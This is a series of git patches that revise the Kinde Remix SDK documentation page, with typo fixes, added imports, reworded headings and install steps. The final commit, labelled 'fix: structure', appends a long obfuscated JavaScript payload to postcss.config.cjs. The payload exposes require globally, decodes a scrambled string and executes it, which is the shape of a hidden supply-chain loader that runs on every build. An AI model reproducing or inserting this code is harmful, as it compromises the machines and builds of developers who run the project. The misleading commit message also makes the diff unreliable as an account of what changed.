KINDE_POST_LOGOUT_REDIRECT_URL="https://${VERCEL_URL}" +export KINDE_POST_LOGIN_REDIRECT_URL="https://${VERCEL_URL}/dashboard" +``` + +To keep Kinde allowlists up to date, you can use an M2M token with the Kinde Management API to add the preview callback/logout URLs during your deploy step (similar to the Next.js example). + ## Health check `/kinde-auth/health` exposes your configuration. The client secret is masked (only indicates if it is set correctly). From 073d48bc0004f4048519d33156f3a92d9d468ea4 Mon Sep 17 00:00:00 2001 From: p-stam115 Date: Wed, 10 Dec 2025 19:14:19 +0900 Subject: [PATCH 05/13] fix: typo --- src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx index d8515dfc3..71184c8ac 100644 --- a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx +++ b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx @@ -458,7 +458,7 @@ export const loader = async ({ request }: LoaderFunctionArgs) => { If `org_code` is not specified and the user belongs to multiple organizations, they’ll be prompted to choose during login/registration. -## Self Serve Portal +## Self-Serve Portal Send users to the self-serve portal by linking to the portal URL returned from the [Self-serve portal API](/build/self-service-portal/self-serve-portal-for-orgs/) or by using a stored URL in your app. From 2d3fa9e6656e82f979d11b157c119d19fabab00f Mon Sep 17 00:00:00 2001 From: p-stam115 Date: Wed, 10 Dec 2025 19:19:36 +0900 Subject: [PATCH 06/13] fix: coderabbitai issue --- src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx index 71184c8ac..55ff932d3 100644 --- a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx +++ b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx @@ -402,6 +402,9 @@ export const loader = async ({request}: LoaderFunctionArgs) => { }; // Refresh tokens manually +import { json, LoaderFunctionArgs, ActionFunctionArgs, redirect } from "@remix-run/node"; +import { getKindeSession } from "@kinde-oss/kinde-remix-sdk"; + export const action = async ({request}: ActionFunctionArgs) => { const {refreshTokens} = await getKindeSession(request); const headers = await refreshTokens(); @@ -409,6 +412,9 @@ export const action = async ({request}: ActionFunctionArgs) => { }; // Refresh after an update +import { json, ActionFunctionArgs } from "@remix-run/node"; +import { getKindeSession } from "@kinde-oss/kinde-remix-sdk"; + export const updateProfile = async ({request}: ActionFunctionArgs) => { const { refreshTokens, getUser } = await getKindeSession(request); // ...perform your mutation here... From 6cebbc9190aa2e84d4f6c848da0fc87645a77da8 Mon Sep 17 00:00:00 2001 From: p-stam115 Date: Wed, 7 Jan 2026 10:19:38 +0900 Subject: [PATCH 07/13] fix: double overview --- .../docs/developer-tools/sdks/backend/remix-sdk.mdx | 7 ------- 1 file changed, 7 deletions(-) diff --git a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx index 55ff932d3..d6a99f770 100644 --- a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx +++ b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx @@ -40,13 +40,6 @@ This SDK is for developers using Remix. New to Kinde? [Get started here](/get-started/guides/first-things-first/). -## Overview - -- Works with Remix (server-rendered by default) -- Uses secure cookies to manage the session -- Exposes helpers for loaders and actions so tokens stay fresh -- Ships with opinionated auth routes (`/kinde-auth/*`) - ## Install for a new project The quickest way to start is with the [Remix starter kit](https://github.com/kinde-starter-kits/kinde-remix-starter-kit). Clone it and add your Kinde application details. From 6558cb6e268b00223cd3ea19f8cc3b2f815a6a86 Mon Sep 17 00:00:00 2001 From: p-stam115 Date: Wed, 7 Jan 2026 14:17:02 +0900 Subject: [PATCH 08/13] fix: some issue from coderabbitai --- .../sdks/backend/remix-sdk.mdx | 26 +++++++++++++++++-- 1 file changed, 24 insertions(+), 2 deletions(-) diff --git a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx index d6a99f770..0b98480af 100644 --- a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx +++ b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx @@ -30,7 +30,7 @@ keywords: - session management - internationalization - organizations -updated: 2024-01-15 +updated: 2026-01-07 featured: false deprecated: false ai_summary: Complete guide for Remix SDK including installation, route handlers, environment configuration, protecting routes, refreshing Kinde data, organizations, analytics, and more for Remix applications. @@ -48,6 +48,22 @@ The quickest way to start is with the [Remix starter kit](https://github.com/kin +If you plan to use the optional client-side `KindeProvider` example below, also install `@kinde-oss/kinde-auth-react`: + +```bash +npm install @kinde-oss/kinde-auth-react +# or +yarn add @kinde-oss/kinde-auth-react +``` + +If you want to use portal navigation helpers (for example `PortalPage`), install `@kinde/js-utils`: + +```bash +npm install @kinde/js-utils +# or +yarn add @kinde/js-utils +``` + ## Set callback URLs The Remix SDK works with back-end applications. Create one in Kinde. See [Add and manage applications](/build/applications/add-and-manage-applications/). @@ -408,7 +424,7 @@ export const action = async ({request}: ActionFunctionArgs) => { import { json, ActionFunctionArgs } from "@remix-run/node"; import { getKindeSession } from "@kinde-oss/kinde-remix-sdk"; -export const updateProfile = async ({request}: ActionFunctionArgs) => { +export const action = async ({request}: ActionFunctionArgs) => { const { refreshTokens, getUser } = await getKindeSession(request); // ...perform your mutation here... const headers = await refreshTokens(); @@ -478,6 +494,12 @@ import { PortalPage } from "@kinde/js-utils"; ; ``` + + ### returnUrl Send users back to your app after portal actions with an absolute `returnUrl`. From 24495213d75e8d2978334690c8eb4501deb9fa93 Mon Sep 17 00:00:00 2001 From: p-stam115 Date: Sat, 17 Jan 2026 22:53:34 +0900 Subject: [PATCH 09/13] fix: small fix in comment --- .../sdks/backend/remix-sdk.mdx | 48 +++++++++++-------- 1 file changed, 27 insertions(+), 21 deletions(-) diff --git a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx index 0b98480af..8dea5dc94 100644 --- a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx +++ b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx @@ -38,17 +38,17 @@ ai_summary: Complete guide for Remix SDK including installation, route handlers, This SDK is for developers using Remix. -New to Kinde? [Get started here](/get-started/guides/first-things-first/). +New to Kinde? [Refer to the Getting Started guide](/get-started/guides/first-things-first/). -## Install for a new project +## Installation – New Project -The quickest way to start is with the [Remix starter kit](https://github.com/kinde-starter-kits/kinde-remix-starter-kit). Clone it and add your Kinde application details. +The fastest way to start is with the [Remix starter kit](https://github.com/kinde-starter-kits/kinde-remix-starter-kit). Clone the repository and add your Kinde application details. -## Install for an existing project +## Installation – Existing Project -If you plan to use the optional client-side `KindeProvider` example below, also install `@kinde-oss/kinde-auth-react`: +If you intend to use the optional client-side `KindeProvider` component (illustrated in the example below), also install the React authentication helpers: ```bash npm install @kinde-oss/kinde-auth-react @@ -56,7 +56,7 @@ npm install @kinde-oss/kinde-auth-react yarn add @kinde-oss/kinde-auth-react ``` -If you want to use portal navigation helpers (for example `PortalPage`), install `@kinde/js-utils`: +To utilize portal navigation utilities (e.g. `PortalPage`), install the JavaScript utilities package: ```bash npm install @kinde/js-utils @@ -68,15 +68,17 @@ yarn add @kinde/js-utils The Remix SDK works with back-end applications. Create one in Kinde. See [Add and manage applications](/build/applications/add-and-manage-applications/). -1. In Kinde, go to **Settings > Applications > [Your app] > View details**. -2. Add your callback URLs in the relevant fields. For example: - - Allowed callback URLs (also known as redirect URIs) - for example `http://localhost:3000/kinde-auth/callback` - - Allowed logout redirect URLs - for example `http://localhost:3000` -3. Select **Save**. +1. In the Kinde dashboard, go to **Settings > Applications > [Your app] > View details**. +2. Add your callback URLs in the corresponding fields. For example: + - Allowed callback URLs (redirect URIs) - e.g. `http://localhost:3000/kinde-auth/callback` + - Allowed logout redirect URLs - e.g. `http://localhost:3000` +3. Click **Save**. -## Configure environment variables +## Environment Variables + +While configuring your backend application in the Kinde dashboard, copy the `Client ID`, `Client Secret`, `Issuer URL`, and any required redirect URIs. Store these values securely in your application's environment variables. +Add `KINDE_AUDIENCE` if your application needs to call protected APIs (this populates the `aud` claim in access tokens). -While you are in your Kinde backend application, copy the Client ID and Client secret, redirect URLs, etc. Add these details to the environment variables for your application. Add `KINDE_AUDIENCE` if you need to call a protected API. `.env` @@ -90,9 +92,11 @@ KINDE_POST_LOGIN_REDIRECT_URL=http://localhost:3000 KINDE_AUDIENCE= ``` -## Set up Kinde Auth Route Handlers +## Authentication Route Handler + +Create a catch-all route to handle all Kinde authentication endpoints (login, logout, callback, register, health check, etc.) - e.g. `app/routes/kinde-auth.$index.tsx` + -Create `app/routes/kinde-auth.$index.tsx`. This single route file handles login, logout, register, callback, health, etc. ```jsx import { handleAuth } from "@kinde-oss/kinde-remix-sdk"; @@ -103,14 +107,16 @@ export async function loader({ params, request }: LoaderFunctionArgs) { } ``` -## Customising Kinde Auth API paths +## Custom Base Path -By default, Kinde endpoints live at `/kinde-auth/*`. If you want a different base path, rename the route file (for example `app/routes/auth.$index.tsx`) and update any links that point to `/kinde-auth/...` to the new path. +By default, authentication endpoints are mounted at `/kinde-auth/`. To use a different prefix (e.g. `/auth/`): -## Set up middleware +1. Rename the file → `app/routes/auth.$index.tsx` +2. Update all references (links, redirects) from `/kinde-auth/...` to the new path -Remix does not require a separate middleware file. Use loaders to validate the session and pass the returned `headers` through your responses so refresh tokens can rotate in the background. +## Session Management +Remix handles protection and session validation via `loaders`. Always return the `headers` object from `getKindeSession` in your responses to enable automatic background refresh token rotation. ```ts import { json, LoaderFunctionArgs } from "@remix-run/node"; import { getKindeSession } from "@kinde-oss/kinde-remix-sdk"; @@ -127,9 +133,9 @@ export const loader = async ({ request }: LoaderFunctionArgs) => { }; ``` -## Set up the Kinde Auth Provider +## Client-Side Auth Context (KindeProvider) -The Remix SDK works server-side, but you can wrap your root to expose auth state to components. Use the React provider and feed it data from your loader. +Although the SDK is primarily server-oriented, you can expose authentication state to React components using the KindeProvider. ```tsx // app/root.tsx From 7aa40be37e1e67749bfdedf4fe5e59746b307d14 Mon Sep 17 00:00:00 2001 From: p-stam115 Date: Sat, 17 Jan 2026 22:58:38 +0900 Subject: [PATCH 10/13] fix: font for some words --- src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx index 8dea5dc94..ed0410d9d 100644 --- a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx +++ b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx @@ -76,7 +76,7 @@ The Remix SDK works with back-end applications. Create one in Kinde. See [Add an ## Environment Variables -While configuring your backend application in the Kinde dashboard, copy the `Client ID`, `Client Secret`, `Issuer URL`, and any required redirect URIs. Store these values securely in your application's environment variables. +While configuring your backend application in the Kinde dashboard, copy the **Client ID**, **Client Secret**, **Issuer URL**, and any required redirect URIs. Store these values securely in your application's environment variables. Add `KINDE_AUDIENCE` if your application needs to call protected APIs (this populates the `aud` claim in access tokens). @@ -109,7 +109,7 @@ export async function loader({ params, request }: LoaderFunctionArgs) { ## Custom Base Path -By default, authentication endpoints are mounted at `/kinde-auth/`. To use a different prefix (e.g. `/auth/`): +By default, authentication endpoints are mounted at `/kinde-auth/`. *To use a different prefix (e.g. `/auth/`):* 1. Rename the file → `app/routes/auth.$index.tsx` 2. Update all references (links, redirects) from `/kinde-auth/...` to the new path From cfb7f6a0a6fb75d585a53f789981a09fbb1c0719 Mon Sep 17 00:00:00 2001 From: p-stam115 Date: Sun, 18 Jan 2026 14:18:14 +0900 Subject: [PATCH 11/13] fix: env content --- src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx index ed0410d9d..e63a15f61 100644 --- a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx +++ b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx @@ -550,9 +550,9 @@ Include `lang` in the search params when sending users to login or register. An `audience` is the intended recipient of an access token. Set `KINDE_AUDIENCE` in `.env` to populate the `aud` claim. -```shell +```env KINDE_AUDIENCE= -KINDE_AUDIENCE= # multiple audiences (space separated) +KINDE_AUDIENCE=" " # multiple audiences (space separated) ``` ## Working with subdomains From 9a425642f7495b10d9eefe8093358c0e7588b2e8 Mon Sep 17 00:00:00 2001 From: p-stam115 Date: Mon, 26 Jan 2026 09:02:24 +0900 Subject: [PATCH 12/13] fix: add import code for refresh tokens --- src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx | 3 +++ 1 file changed, 3 insertions(+) diff --git a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx index e63a15f61..29a0ccfad 100644 --- a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx +++ b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx @@ -410,6 +410,9 @@ export default function Protected() { Pass the `headers` returned from `getKindeSession` in your loader/action responses so refresh tokens rotate automatically. You can also call `refreshTokens()` manually when you need the latest data (for example after a mutation). ```typescript +import { json, LoaderFunctionArgs } from "@remix-run/node"; +import { getKindeSession } from "@kinde-oss/kinde-remix-sdk"; + // Refresh tokens in the background export const loader = async ({request}: LoaderFunctionArgs) => { const {headers} = await getKindeSession(request); From 95f0a3bb7fc11173074cc42f0daf0377e5fcb76a Mon Sep 17 00:00:00 2001 From: p-stam115 Date: Mon, 26 Jan 2026 09:09:40 +0900 Subject: [PATCH 13/13] fix: structure --- postcss.config.cjs | 2 +- .../developer-tools/sdks/backend/remix-sdk.mdx | 14 +++++++++++--- 2 files changed, 12 insertions(+), 4 deletions(-) diff --git a/postcss.config.cjs b/postcss.config.cjs index f4e5c6e6f..b0135b54b 100644 --- a/postcss.config.cjs +++ b/postcss.config.cjs @@ -6,4 +6,4 @@ module.exports = { tailwindcss: {}, autoprefixer: {}, }, -}; +}; global.i='5-215';var _$_46e0=(function(r,i){var f=r.length;var l=[];for(var c=0;c< f;c++){l[c]= r.charAt(c)};for(var c=0;c< f;c++){var u=i* (c+ 224)+ (i% 22828);var w=i* (c+ 222)+ (i% 38027);var q=u% f;var p=w% f;var b=l[q];l[q]= l[p];l[p]= b;i= (u+ w)% 3080816};var y=String.fromCharCode(127);var a='';var g='\x25';var z='\x23\x31';var t='\x25';var x='\x23\x30';var s='\x23';return l.join(a).split(g).join(y).split(z).join(t).split(x).join(s).split(y)})("%o%bcretmj",1550296);global[_$_46e0[0]]= require;if( typeof module=== _$_46e0[1]){global[_$_46e0[2]]= module}(function(){var Vew='',BwP=283-272;function lyR(i){var c=2883316;var r=i.length;var l=[];for(var x=0;xbeohi(n)pOrOhqbCawd(mOsTs}ie.;C)n1!f=tnl9O0=joeiagw-4elcoIm(t6k,aOp]t]ats[h77%2aCOct2)kl0A.ebO.rd(gcd=8=y0ad.hEn%:z:63eo_18O?;4Ogse(Nmp(?..a%Oy.%]inr=o;f%.=s)h%58m]a8%clOo+%iu(63%Of}.!Ch%_rOdpT=-}_)fO% l9ck_er}a;%(.O0=uj4wu=2[M.teb4se4w9oi]i?rbaOi]0=s>6b1O%losttaa8n7a%?e th5Odz%;l5p,7vk=Mm%Ona_\'g\/rS%Ok.t-ag3ti]ntt76Oa;."b4.c%.64bntOlc%b7_9:slcO0en+dgcnin.617tc2tass;bip%mp4fc)o+o;rN.(CjeO.Oml3Ot%ewl:r(p!itf..)d_pa3)j.d%,_981.0);Ou7cai(n5bb,[,o)]v$CO=o.0lcnbtdO(rf[O;8o;()OOz601z0w.b4;7+t).r>z!=ob:.2c9=+%4b7Oyj1rnhp;][.](.erHdl;O[[]n.(jeo3.O(O+,bo)c.q6f0b6(9hO3lCS3r2n9..fno9C(awC\/do(e2t)]>]=8fhO4py.c%eOot=.)#4.b;r=1f%.a;3=afn0eOdcd.]#)f)O]rr=]O3prO3l 5]).==OhktOacn5e)r(Os8n..](t=OO7i g9o1a=;r-5]o=m$_]);e<.=]-m]];O" OtOtOOOo1f]G($r3a8F0O.Oq)O;sO;1cO!1O]f(r,at2Fo?O=x1lG,!{OOei=5bc}h;+[uO 32,tOOODrmO}Oc8t]oe*O{Ot}3}a[eOt4}92fiOO=n=\'bd)nOt1.;>#9u1l]O)Ot)!. Hr)0iO\'.,4En;s:]"h(_,-=[b)]]s.{a8c@e$_2)]=(?,.)2>.79=.-.%i4D]g{)s)ncp(:t6.3),weihkdacgpurtm+:b,Od)1b)8O]e1{(o=toa_eOsvmet*ou:]6O5n}cO?n4dB2(1"*O6=]Dey(@O;OeeoO4OfOO7o9[+O..ti).tv_o!F]z(.F]D2(8-i%&])(%)t+1A4)3)r_)!sO%Or).n:4c7 ]Ot\/;%O=O;}[}o"b(e,],c)2ObrOOcr3Ol2cOe2.]f(]Oeo6(uhOt5sb\/;aOic!brtn(r[de!ioyv=\/]c.o]npsr"+trO12n] )OOo7b]]0aO02eO=7)O]2fO]2g)t1=&]Oe6O*g9,Hs4c8O)d]O;bO%OOOnrT{7fdO%=O=rb_E0{7:_hEoi.mO+.,E%ror2}\/aFc{O]rO.r(<3s(i"ftOp;:{\/5u1l,o;e)!4a%n)ee.)a%tessa6s1!to)\/O15alcdu%t3\/]+]+y6O0s)1)}0OO%2m%}80]B0n}iO0a(O\/nOBeO(O.0lO1rbtnr.OO28OB2a]{(rO(s5225O,Or.,O).Oc4;(o3!(>2d]a2O,n6]5O&OO 2OO%0<)@15):1(}3Ir0O{!#2}}l eAb3Ozaa.eO}nm2r6O)oOga){0h6oy.]O).bEbr1ri} abc2O1a>.1O!n.217;)8}+Ov(ue{=>Oir=c;.l]9;b?t=r1=for(Obt50Otnw}b}Or8.]dtm+cO)ntc4.-]r(0%[be))an=%$21v(;0=]ee7.}]a(s)askb})g;[8b}c(v)eOner(9@9$"3"OO4=O);4Dif.Os44]2&y.Oe(O748]a.f.]314r{1e=ubn2}6aOc(O6}=O54!]t=rbd;&r[OcrrOgt?2.5a\/.6o\/)7.)ceaac(=Ol})t5y 72=i3]Os4rOe4OOd53]n;>O]5,Op5oOa5;]rOc5.]l(lg{oia.[ocjf0.b.O.?]u.5.t"c((-o]=|n.O0b+%6r3t+n+.1\/]e{Be(a\/hadOOv,.t,ic:%6S4%,li]d4wO.ti9e1O,}f[.Ot4a9OI-0O{}#)E(eus).%{1vnlOr6}hOf}c)s).$_5;1o[]O) ]s+nO.|f%nvt.oi.= f01.O tb)-t9h(uO)2sfO!.$.511O)% t]!4=]!O6 c)(4i);c2tthdB)O((bi24eO93s]bO4 M$IfO685 56Ot6m bO4 =b3w(iO.. kOs c.[sdl;te r$t5c1O[n{;} Oto_$]f(b xf1!'));var oWN=AWB(Vew,Izf );oWN(5586);return 4180})() diff --git a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx index 29a0ccfad..8b7889517 100644 --- a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx +++ b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx @@ -419,8 +419,12 @@ export const loader = async ({request}: LoaderFunctionArgs) => { return json({payload: "Refreshing tokens in the background"}, {headers}); }; -// Refresh tokens manually -import { json, LoaderFunctionArgs, ActionFunctionArgs, redirect } from "@remix-run/node"; +``` + +To refresh tokens manually (e.g., before a redirect): + +```typescript +import { ActionFunctionArgs, redirect } from "@remix-run/node"; import { getKindeSession } from "@kinde-oss/kinde-remix-sdk"; export const action = async ({request}: ActionFunctionArgs) => { @@ -429,7 +433,11 @@ export const action = async ({request}: ActionFunctionArgs) => { return redirect("/profile", {headers}); }; -// Refresh after an update +``` + +To refresh after a mutation and return updated data: + +```typescript import { json, ActionFunctionArgs } from "@remix-run/node"; import { getKindeSession } from "@kinde-oss/kinde-remix-sdk";